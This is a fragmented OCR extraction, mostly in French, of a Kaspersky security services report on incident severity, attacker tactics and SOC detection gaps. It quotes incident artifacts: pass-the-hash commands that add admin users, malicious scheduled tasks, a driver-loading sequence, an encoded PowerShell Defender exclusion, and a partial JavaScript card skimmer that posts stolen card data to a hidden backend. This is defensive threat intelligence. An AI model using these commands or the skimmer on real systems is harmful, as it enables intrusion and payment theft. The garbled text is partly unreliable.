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Introduction

Gravité des incidents

Qui sont les cybercriminels

potentiels ?

Comment peut-on

détecter efficacement
leur activité ?

Quelles sont les

méthodes utilisées

aujourdhui ?
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https://www.kaspersky.fr/enterprise-security/managed-detection-and-response
https://www.kaspersky.com/enterprise-security/soc-consulting
https://www.kaspersky.fr/enterprise-security/incident-response
https://www.kaspersky.fr/enterprise-security/compromise-assessment
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Introduction Gravité des incidents

~ 15,000
~400,000

env. 300,000

Plus de 39,000
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Gravité des incidents
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Introduction Gravité des incidents

Groupe | Groupe I
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Introduction

Elevée

Détection des attaques

Faible

En 2025, jusqu'a trois incidents de gravité élevée par jour ont été détectés par le MDR.

2024

2023

2022

2021

2020

“flooding”, ou les organisations

doivent désormais faire face a un volume plus important de menaces opportunistes de faible niveau, ainsi qu’a des

menaces avancées
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Introduction Gravité des incidents Détection des attaques
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https://attack.mitre.org/techniques/T1474/
https://attack.mitre.org/techniques/T1199/




Nature des incidents

Gravité des incidents B
de gravité élevée

Niveau de gravité Délai de signalement Commentaires

2024 539 min

2023: 36,4 min

z ~ 2022 437 min
Elevée 2021: 414 min

2020: 52,6 min

2024 : 41,0 min
2023 32,5 min
2022: 30,9 min
2021: 34,8 min
2020: 21,1min

2024 379 min

F bI 2023: 48,0 min
| 2022 : 34,1 min

a e 2021: 40,2 min
2020: 30,2 min

kaspersky 2022

Managed
- - - Detection
MANAGED DETECTION and Response:

AND RESPONSE Analyst Report

l_-"l l_-_l l_-_l l_-_l
= - = - = - = -
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https://content.kaspersky-labs.com/fm/site-editor/29/29fc0e4aa623bde8c7702619ea577cc7/source/kaspersky-managed-detection-and-response-analyst-report-0325-fr.pdf
https://content.kaspersky-labs.com/fm/site-editor/68/680c25624a59707e4f047ae135f78229/source/kaspersky-mdr-report-2023.pdf
https://content.kaspersky-labs.com/fm/site-editor/52/52f9ce493bb257698e60f823b2b3e16d/source/kaspersky-mdr-analyst-report-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/b0/b08f9262f427a2b9e6c00d7c608842f3/source/mdr-analyst-report-2021.pdf
https://content.kaspersky-labs.com/fm/site-editor/32/326d836298373d796c965e4bfb9ced85/source/mdr-analyst-report-q4-2020.pdf

Nature des incidents

Gravité des incidents B
de gravité élevée

Rapide Moyenne Longue durée

Il s'agit principalement de comportements
bruyants de la part des attaquants, exploitant
des cibles faciles — des vulnérabilités publiques
et facilement identifiables

Pourcentage d'attaques

Vecteurs initiaux

Durée moyenne d'une attaque (médiane)

Durée de réponse aux incidents (médiane)

Dommages

The nature
of cuber
incidents

Kaspersky e ¥ 1
l_-—l l_-_| l_-_| l_-_| l_-_|
= - = - = - = - = -
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https://content.kaspersky-labs.com/fm/site-editor/fe/fedcf5a1f523259a5cf31928651d237d/source/kaspersky-incident-response-analyst-report-0425-fr.pdf
https://content.kaspersky-labs.com/fm/site-editor/52/526c20352425d20e8cce4b0dd07f305f/source/kaspersky-ir-analyst-report-2023.pdf
https://content.kaspersky-labs.com/fm/site-editor/43/43fdc6bda5b4aa26747a89146ca6948f/source/the-nature-of-cyberincidents-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/72/72d83757a59aaa0d607b51dee785e55d/source/incident-response-analyst-report-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/93/93dd43a60d467c64822573d47b52b7ec/source/kaspersky-incident-response-analyst-2020.pdf




Détection des attaques

Tactiques adverses

Nature des incidents
de gravité élevée

ingénierie sociale
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Détection des attaques Tactiques adverses

0% 5% 10 % 15 % 20 % 25% 0% 5% 10% 15 % 20 % 25%

Toutefois, les violations graves des stratégies de
sécurité (plus de 13 %) indiquent que les erreurs
de configuration et les actions non autorisées
continuent de présenter un risque important
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Détection des attaques Tactiques adverses

B[]

ce qui laisse supposer que les pirates
informatiques considérent les employés des médias comme des vecteurs
d'acces initiaux pour le développement d'attaques futures
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Détection des attaques Tactiques adverses
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Détection des attaques

CVE-2022-27228

la plupart des CVE disposent de PoC simples
accessibles sur des plateformes publiques et ne nécessitent pas de
conditions complexes pour étre exécutées

50 % des vulnérabilités identifiées dans le cadre de nos missions de
réponse aux incidents conduisent a une exécution de code a distance
(RCE), parfois sans authentification, ce qui augmente considérablement
le risque global

Parmiles types de vulnérabilités courants figurent la désérialisation non
sécurisée (CWE-502), l'authentification/I'autorisation incorrecte (CWE-
287/288), la traversée de chemin d'accés (CWE-22), le chargement de
fichiers sans restriction (CWE-434) et la falsification de requétes coté
serveur (CWE-918), qui peuvent tous conduire directement a la prise de
contréle du systéeme

« Anatomie d’'un cybermonde », Rapport mondial de Kaspersky Security Services 2026

Tactiques adverses
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Détection des attaques Nzture dgslln‘mde‘nts Tactiques adverses
e gravité élevée
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Détection des attaques Nzture dgslln‘mde‘nts Tactiques adverses
e gravité élevée
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Nature des incidents Techniques et outils utilisés par
de gravité élevée les cybercriminels
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https://attack.mitre.org/software/S0633/
https://attack.mitre.org/software/S0521/
https://github.com/rapid7/metasploit-framework
https://attack.mitre.org/techniques/T1041/
https://attack.mitre.org/software/S0154/
https://lolbas-project.github.io/

Nature des incidents Techniques et outils utilisés par
de gravité élevée les cybercriminels

Cette année, nous avons également constaté la multiplication des attaques exploitant des relations de
confiance. Dans un cas, nous avons découvert que des cybercriminels avaient compromis successivement plus
de deux organisations afin d'atteindre une troisieme cible.
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Nature des incidents Techniques et outils utilisés par
de gravité élevée les cybercriminels
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Nature des incidents Techniques et outils utilisés par
de gravité élevée les cybercriminels

I'IDS réseau est un complément a I'EPP, méme dans les scénarios ou le capteur
de terminaux semble étre la méthode de détection la plus évidente
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. Technigues et outils utilisés par Efficacité de la détection
Tactiques adverses -
les cybercriminels des SOC
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https://attack.mitre.org/docs/ATTACK_Design_and_Philosophy_March_2020.pdf

“C:\Windows\System32\WScript.exe" "wscript.exe"
"C:\Users\ \AppData\Local\Temp\1l 9.vbs" "C:\Users\ \AppData\Local\Temp\5 5.vbs"

(PID: 628) C:\Windows\system32\services.exe
L—— (PID: 6296) C:\Windows\system32\ServerManagerlLauncher.exe
L—— (PID: 5768) "C:\Windows\system32\mmc.exe" "C:\Windows\system32\ServerManager.msc"



https://securelist.com/kaspersky-managed-detection-and-response-report-2024/115635/
https://attack.mitre.org/techniques/T1059/005/
https://securelist.com/kaspersky-mdr-report-2023/112411/
https://attack.mitre.org/techniques/T1218/014/

C:\Windows\System32\services.exe
-> C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
-> "powershell.exe" -NonInteractive -enc [BASE64]

"C:\Windows\system32\cmd.exe" whoami
"C:\Windows\system32\cmd.exe" tasklist /svc
"C:\Windows\system32\cmd.exe" netstat -ano
"C:\Windows\system32\cmd.exe" ping -n 1 8.8.8.8
"C:\Windows\system32\cmd.exe" c:\windows\temp\klnagentx.exe 103.
"C:\Windows\system32\cmd.exe" tasklist /svc
"C:\Windows\system32\cmd.exe" c:\windows\temp\klnagentx.exe -h
"C:\Windows\system32\cmd.exe" c:\\windows\\temp\\klnagentx.exe -h
"C:\Windows\system32\cmd.exe" taskkill /f /im klnagentx.exe
"C:\Windows\system32\cmd.exe" tokei -H aa 1404ee:

448535c97b3£c9

-> "C:\Windows\system32\cmd.exe" sc.exe create MpKslad05flba type=kernel binpath=c:\windows)\

System32\drivers\MpKslDrv.sys
"C:\Windows\system32\cmd.exe" sc.exe start MpKslad05flba
"C:\Windows\system32\cmd.exe" cd
"C:\Windows\system32\cmd.exe" netstat -ao
"C:\Windows\system32\cmd.exe" netstat -ano
"C:\Windows\system32\cmd.exe" sc.exe stop MpKslad05flba
"C:\Windows\system32\cmd.exe" sc.exe delete MpKslad05flba
"C:\Windows\system32\cmd.exe" del c:\windows\System32\drivers\MpKslDzrv.sys
"C:\Windows\system32\cmd.exe" del c:\windows\System32\apzrds.dll
"C:\Windows\system32\cmd.exe" del c:\windows\System32\rsd.dat
"C:\Windows\system32\cmd.exe" klnagentx.exe roo.dat
"C:\Windows\system32\cmd.exe" taskkill /f /im klnagentx.exe
"C:\Windows\system32\cmd.exe" klnagentx.exe roo.dat
"C:\Windows\system32\cmd.exe" tasklist /svc
"C:\Windows\system32\cmd.exe" ping -c 1 .net

1. schtasks /create /tn "EdgeUpdateWinr" /tr "cmd /c c:\programdata\syc\sshd.exe" /sc hourly /ru SYSTEM
/£

Chemin d'acces de la tache : C:\Windows\System32\Tasks\EdgeUpdateWinz,

Nom de la tache planifiée : EdgeUpdateWinr Chemin d'accés du registre : HKLM\SOFTWARE\Microsoft)\
Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D92 C7A4A}:Actions
Commande : "cmd" /c c:\programdata\ \sshd.exe

2. schtasks /create /tn "WindowsAutoTask" /tr "\"C:\Program Files\OpenVPN\bin\openvpn.exe\" -config \"C:\
ProgramData\ _lak.ovpn\"" /sc onstart /ru SYSTEM /f

Chemin d'accés de la tache : C:\Windows\System32\Tasks\WindowsAutoTask

Nom de la tache planifiée : WindowsAutoTask

Chemin d'acceés du registre : HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\
S L . _1A9}:Actions

Commande : schtasks /create /tn "WindowsAutoTask" /tr "\"C:\Program Files\OpenVPN\bin\openvpn.exe\"
-config \"C:\ProgramData)\ ak.ovpn\"" /sc onstart /ru SYSTEM /f



https://attack.mitre.org/techniques/T1569/002/
https://attack.mitre.org/techniques/T1543/003/
https://attack.mitre.org/techniques/T1053/005/

. Technigues et outils utilisés par Efficacité de la détection
Tactiques adverses -
les cybercriminels des SOC

Régulierement 7a15% Rarement

<2%

1.0 %

13,0 %
L L L

193% | | I [ I
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17,7 %
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Import-Module ./Invoke-TheHash.psdl

Invoke-WMIExec -Target "<IP>" -Domain "<DOMAIN>" -Username "<USER>" -Hash "<HASH>" -Command "net user
Userl Passwordl! /ad" -verbose

Invoke-SMBExec -Target "<IP>" -Domain "<DOMAIN>" -Username "<USER>" -Hash "<HASH>" -Command "net user
User2 Passwordl! /ad" -verbose

Invoke-SMBExec -Target "<IP>" -Domain "<DOMAIN>" -Username "<USER>" -Hash "<HASH>" -Command "net
localgroup Administrators Userl /ad" -verbose

Serveur de messagerie Serverl

Endpointl

Endpoint2



c:\users\mpdefender.exe

cmd.exe /c "cd /d C:\users\public &amp;&amp; start
sideloaded the malicious Wiper DLL file - MpClient.dll (MD5 2DFEFQC375933B725C047A7E25B27CEE)

"C:\users\public\Mpdefender.exe




<?xml version="1.0" encoding="UTF-16"?>

<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>

<Date>2025-06-19T08:36:48</Date>

<Author>REDACTED</Author>

<URI>\DefenderUpdatefor</URI>

</RegistrationInfo>

<Principals>

<Principal id="Author">

<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>

</Principal>

</Principals>

<Settings>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIlfGoingOnBatteries>
<Enabled>false</Enabled>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<IdleSettings>

<Duration>PT10M</Duration>

<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>

</IdleSettings>

</Settings>

<Triggers>

<TimeTrigger>
<StartBoundary>2025-06-19T12:30:00</StartBoundary>
</TimeTrigger>

</Triggers>

<Actions Context="Author">

<Exec>

<Command>cmd</Command>

<Arguments>/c "cd /d C:\users\public && start "" "C:\users\public\Mpdefender.exe""</Arguments>
</Exec>

</Actions>

</Task>

N N
c:\inetpub\calibze. c:\inetpub\history\ c:\program files c:\inetpub\history\
exe ca.exe (x86)\windows calibre-launcher.dll
defender\calibre.exe

powershell -nop -exec bypass -EncodedCommand
QQBKkAGQALQBNAHAAUABYAGUAZgBTAHIAZQBUAGMAZQAZACOARQB4AGMAbAB1AHMAaQBVAG4AUABhAHQAaAAgACTIAQWAGACIA
Add-MpPreference -ExclusionPath "C:'

.\Impersonate.exe

\Impersonate.exe list

\Impersonate.exe exec 30 ipconfig

\Impersonate.exe exec 30 "net user /domain>1.txt"

\Impersonate.exe exec 30 cmd

\Impersonate.exe exec 30 cmd /k whoami

\Impersonate.exe exec 30 cmd




. Technigues et outils utilisés par Efficacité de la détection
Tactiques adverses -
les cybercriminels des SOC

ID:

Tactique: timestomping

ID:
Protocole de la couche
d'application:
http://+:<port>/ pattern
http://+:80/Temporary_Listen_Addresses/

identifiant d'héte générique fort
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http://+:80/Temporary_Listen_Addresses/
https://+:443/autodiscover/autodiscovers/
https://+:443/ews/exchanges/

https://+:444/ews/ews/

HttpListener listener = new HttplListener();

listener.Prefixes.Add("https://+:443/autodiscover/autodiscovers/");

listener.Start();




. Technigues et outils utilisés par Efficacité de la détection
Tactiques adverses -
les cybercriminels des SOC

ID:
Comptes valides :

ID:
Services a distance:

ID:
Interpréte de commandes et de
scripts :

Chronologie d'exécution:

R N
]
EURE] N

4

192.%.* 1724+
SSH SSH
ESXi_1 ESXi_2 N
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const _x = {
'RSA_PUBLIC_KEY': "--BEGIN PUBLIC KEY--\...<edited>..—-END PUBLIC KEY--",
'BACKEND_URL': atob("...<edited>..”)

const _y = async _y => {
try {
const _z = await fetch(_xxx.BACKEND_URL, {
‘method': "POST",
'headers': {
‘Content-Type': "application/json"

Jia

'body': JSON.stringify({
‘encrypted_data': _a

B

1

_b.addEventListener("mouseenter”, async () => {

try {
const _d = {

Tbard_number': document.getElementById("card_number")?.['value'] ||
'expiry_date': document.getElementById("expire_date")?.["value"] ||

‘cvv': document.getElementById("card_cvv")?.["value"] |l ",

-

const _zz = new JSEncrypt();
_zz.setPublicKey(...)




A

https://*:443/DELAY_SRV/
http://*:80/DELAYS_SRV/



. Technigues et outils utilisés par Efficacité de la détection
Tactiques adverses -
les cybercriminels des SOC

user_token_api
blob de configuration encodé en Baseb64

SSH_client.exe

ID: mémoire du processus WerFault.exe

Tactiques:
un accés SSH interactif et des capacités de transfert de fichiers

SpawnShell :
Chargement:
Téléchargement:
Ls:
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Efficacité de la détection

Tactiques adverses des SOC

|
I'exécution en mémoire, de
I'utilisation abusive de protocoles légitimes et
de l'usurpation de processus
|

architecture
d'attaque modulaire et a plusieurs niveaux
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. Technigues et outils utilisés par Efficacité de la détection
Tactiques adverses -
les cybercriminels des SOC

enrichissement nécessaires

Réputation du fichier/script/document

Réputation de I'URL

Réputation de I'n6te distant ou de I'adresse IP

Liste des détections liées a une APT

Verdict EPP pour I'objet

« Anatomie d’'un cybermonde », Rapport mondial de Kaspersky Security Services 2026
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Globale:
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3.8%

3,7 %

4,5%

1,3 %

1,4 %

3.0%

11%

72%

50%

3.2%
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https://www.kaspersky.fr/file-reputation
https://github.com/fortra/impacket

Tactiques adverses Techniques et outils utilisés par Efficacité de la détection
a les cybercriminels des SOC

TAOOO1: TAOO0O02: TAOOO03: TAOOO4 : TAOOO5: TAOOO06: TAOOO7:
Acceés initial Exécution Persistance ~ Augmentation Contournement Accés al'aide Détection
des privileges  desdéfenses  d'identifiants
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RIS ERNEES Techniques et outils utilisés par Efficacité de la détection
q les cybercriminels des SOC

TAOOO8 : TAOOO9: TAOO10: TAOOTM : TAOO040: TAO042: TAO043:
Mouvement Collecte Exfiltration Commande et Impact Développement Reconnaissance
latéral contrble de ressources
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Techniques et outils utilisés par Lacunes en matiére de détection
les cybercriminels et compromissions cachées

001l Eyaluation technique <~’- Simulation d'attaques
ol I

» » »
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=
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Techniques et outils utilisés par
les cybercriminels

[5-30]

5 —-70+ | [30-50]
[50 — 70+]

Lacunes en matiére de détection
et compromissions cachées

Fo
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https://securelist.com/siem-effectiveness-assessment/118560/

Techniques et outils utilisés par Lacunes en matiére de détection
les cybercriminels et compromissions cachées

Développement en interne Partisans des Partisans de I'EDR
fournisseurs

Popularité

Description

Nombre de regles
SIEM/XDR actives

Proportion de régles
personnalisées dans les
solutions SIEM/XDR

Mesure de la couverture
MITRE
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Techniques et outils utilisés par Efficacité de la détection Lacunes en matiére de détection
les cybercriminels des SOC et compromissions cachées

|
Absence ou dégradation de la couverture de l'infrastructure

|
B Couverture des régles de détection par source d'événement

|

utilisation simple des solutions

A Régles par défaut sans ajustement :
X
fournies par les fournisseurs
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Efficacité de la détection des SOC

Opérations (externalisation) oui

Aucun signe de compromission

Projet

l'|1 l'|1 l'|1
L= L= L

Nous observons des signes de
compromission

; 99 %

] 249 %

r-----u
;

65,2 %
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https://www.kaspersky.fr/enterprise-security/managed-detection-and-response#form
https://www.kaspersky.com/enterprise-security/contact?icid=ca-ssreport 
https://www.kaspersky.com/enterprise-security/contact-investigation?icid=ssreport
https://www.kaspersky.fr/enterprise-security/managed-detection-and-response#form
https://www.kaspersky.com/enterprise-security/contact?icid=ca-ssreport 
https://www.kaspersky.com/enterprise-security/contact-investigation?icid=ssreport

Efficacité de la détection des SOC

12,4 %

m1.2%

m1.2%

81%

75 %

6,2 %

5,0 %

4,3 %

3.7 %

3.7 %

3.1%

31%

3.1%

3.1%

En 2025, pres de 18,6 % des

incidents détectés I'ont été manuellement.
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1.9 %

1,2 %

1,2 %

1,2 %
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1,2 %

0,6 %

0,6 %

0,6 %
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https://dfi.kaspersky.com/

Efficacité de la détection des SOC Lacunes en matiére de détection

et compromissions cachées
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Pour lutter contre les attaques menées par des acteurs humains, les solutions pilotées par des experts, comme
le MDR et la réponse aux incidents, restent essentielles.

Des services complets de conseil en matiére de SOC
peuvent contribuer a atteindre cet objectif.

Dans ces cas de figure, associer un SOC interne doté de capacités XDR et/ou des services externalisés
comme le MDR a des évaluations réguliéres de la compromission constitue une stratégie efficace pour
détecter et enquéter sur les incidents qui contournent les contréles de sécurité existants.

I'importance de la sensibilisation ala
sécurité en tant que pilier central de la stratégie de sécurité de
l'information des entreprises.
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https://attack.mitre.org/techniques/T1098/
https://attack.mitre.org/techniques/T1566/
https://attack.mitre.org/techniques/T1204/
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https://www.kaspersky.fr/enterprise-security/incident-response
https://www.kaspersky.fr/enterprise-security/managed-detection-and-response
https://www.kaspersky.fr/enterprise-security/compromise-assessment
https://www.kaspersky.com/enterprise-security/soc-consulting
https://www.kaspersky.fr/enterprise-security/security-assessment
https://dfi.kaspersky.com/
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